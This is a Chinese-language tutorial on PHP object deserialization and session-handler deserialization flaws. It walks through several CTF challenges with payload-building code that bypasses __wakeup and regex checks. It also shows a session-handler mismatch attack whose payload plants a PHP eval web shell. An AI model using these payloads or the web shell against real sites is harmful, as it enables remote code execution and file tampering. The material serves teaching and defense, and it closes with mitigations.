一文深入PHP反序列化漏洞和session反序列化漏洞(原创)
字数 1930 2025-08-13 21:33:29
PHP反序列化漏洞与Session反序列化漏洞深入解析
一、PHP序列化基础
1. 序列化概念与函数
序列化是将数据结构或对象状态转换为可存储或传输的格式的过程。PHP中使用serialize()函数进行序列化:
$a = array('flag','time','ddc');
echo serialize($a);
// 输出: a:3:{i:0;s:4:"flag";i:1;s:4:"time";i:2;s:3:"ddc";}
序列化格式说明:
a代表array,3表示数组有三个元素O代表objecti代表下标/整型s代表stringd代表浮点型
2. 类序列化示例
class test {
public $a = 'aliyun';
private $b = 'baiduyun';
protected $c = 'wanxiang';
}
$a = new test();
echo urlencode(serialize($a));
输出结果:
O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22aliyun%22%3Bs%3A7%3A%22%00test%00b%22%3Bs%3A8%3A%22baiduyun%22%3Bs%3A4%3A%22%00%2A%00c%22%3Bs%3A8%3A%22wanxiang%22%3B%7D
重要说明:
- protected变量名前会加上
\x00*\x00 - private变量名前会加上
\x00类名\x00 - 输出时建议使用urlencode或base64编码,防止不可见字符丢失
二、PHP反序列化
1. 反序列化基础
使用unserialize()函数将序列化字符串还原为对象:
class test {
public $a = 'aliyun';
public $b = 'baiduyun';
}
$a = new test();
print_r(unserialize(serialize($a)));
2. PHP魔术方法
魔术方法在反序列化攻击中至关重要:
| 魔术方法 | 触发条件 |
|---|---|
__wakeup() |
使用unserialize时触发 |
__sleep() |
使用serialize时触发 |
__destruct() |
对象被销毁时触发 |
__toString() |
把类当作字符串使用时触发 |
__invoke() |
当脚本尝试将对象调用为函数时触发 |
__call() |
在对象上下文中调用不可访问的方法时触发 |
__callStatic() |
在静态上下文中调用不可访问的方法时触发 |
__get() |
用于从不可访问的属性读取数据 |
__set() |
用于将数据写入不可访问的属性 |
__isset() |
在不可访问的属性上调用isset()或empty()触发 |
__unset() |
在不可访问的属性上使用unset()时触发 |
三、反序列化漏洞实战
1. 基础绕过示例
示例1:unserialize3
class xctf {
public $flag = '111';
public function __wakeup() {
exit('bad requests');
}
}
绕过方法:
- 序列化后修改对象属性数量,使其不等于真实数量
- 原始序列化:
O:4:"xctf":1:{s:4:"flag";s:3:"111";} - 修改为:
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
2. 文件读取示例
示例:Web_php_unserialize
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
攻击步骤:
- 构造序列化字符串,设置
file为fl4g.php - 绕过
__wakeup():修改属性数量 - 绕过正则过滤:
O:4改为O:+4
$a = new Demo('fl4g.php');
$b = serialize($a);
$b = str_replace('O:4', 'O:+4', $b);
$b = str_replace(':1:', ':2:', $b);
echo base64_encode($b);
3. 属性赋值控制示例
示例:[极客大挑战 2019]PHP
class Name {
private $username = 'nonono';
private $password = 'yesyes';
function __wakeup() {
$this->username = 'guest';
}
function __destruct() {
if ($this->password != 100) die();
if ($this->username === 'admin') echo $flag;
}
}
攻击方法:
- 设置
username为admin,password为100 - 绕过
__wakeup():修改属性数量 - 处理私有属性编码问题
class Name {
private $username = 'admin';
private $password = 100;
}
$a = new Name();
$a = serialize($a);
$a = str_replace(':2:', ':3:', $a);
echo urlencode($a);
四、高级反序列化漏洞
1. 文件操作漏洞
示例:文件删除
class delete {
public $filename = 'error';
function __destruct() {
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
利用方法:
- 序列化对象并设置
filename为目标文件 - 当对象被销毁时触发文件删除
2. 文件读取漏洞
示例:文件读取
class read {
public $filename = 'error';
function __toString() {
return file_get_contents($this->filename);
}
}
利用方法:
- 设置
filename为目标文件路径 - 当对象被当作字符串使用时触发文件读取
五、Session反序列化漏洞
1. Session处理机制
PHP有三种session序列化处理器:
- php_binary:
键名的长度对应的ASCII字符 + 键名 + serialize值 - php:
键名 + 竖线(|) + serialize值 - php_serialize:
serialize数组
2. 漏洞产生条件
当序列化和反序列化使用不同的处理器时可能产生漏洞:
// session.php - 使用php_serialize
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ddd'] = $_GET['ddd'];
// test.php - 使用php
ini_set('session.serialize_handler', "php");
session_start();
class ddd {
var $a;
function __destruct() {
file_put_contents("shell.php", $this->a);
}
}
3. 漏洞利用步骤
- 构造恶意序列化数据:
class ddd {
var $a = '<?php eval($_POST["abc"]);?>';
}
$s = new ddd();
echo serialize($s);
// O:3:"ddd":1:{s:1:"a";s:28:"<?php eval($_POST["abc"]);?>";}
- 在数据前添加
|并提交:
http://example.com/session.php?ddd=|O:3:"ddd":1:{s:1:"a";s:28:"<?php eval($_POST["abc"]);?>";}
- 访问test.php触发反序列化,生成shell.php
4. 漏洞原理
- php_serialize处理器将
|作为普通字符处理 - php处理器将
|作为键值分隔符 - 导致php处理器将
|后的内容作为序列化数据解析
六、防御措施
- 不要反序列化不可信数据
- 使用
json_encode()/json_decode()替代序列化 - 确保序列化和反序列化使用相同的处理器
- 对魔术方法进行安全审查
- 使用PHP 7.1+版本,其对属性类型不敏感
- 实施输入验证和过滤
七、总结
PHP反序列化漏洞的核心在于:
- 可控的反序列化输入
- 存在可利用的魔术方法
- 能够构造恶意对象影响程序行为
Session反序列化漏洞的关键在于:
- 序列化和反序列化处理器不一致
- 能够控制session数据
- 存在可利用的类和方法
理解这些原理和利用技术,有助于更好地防御相关漏洞。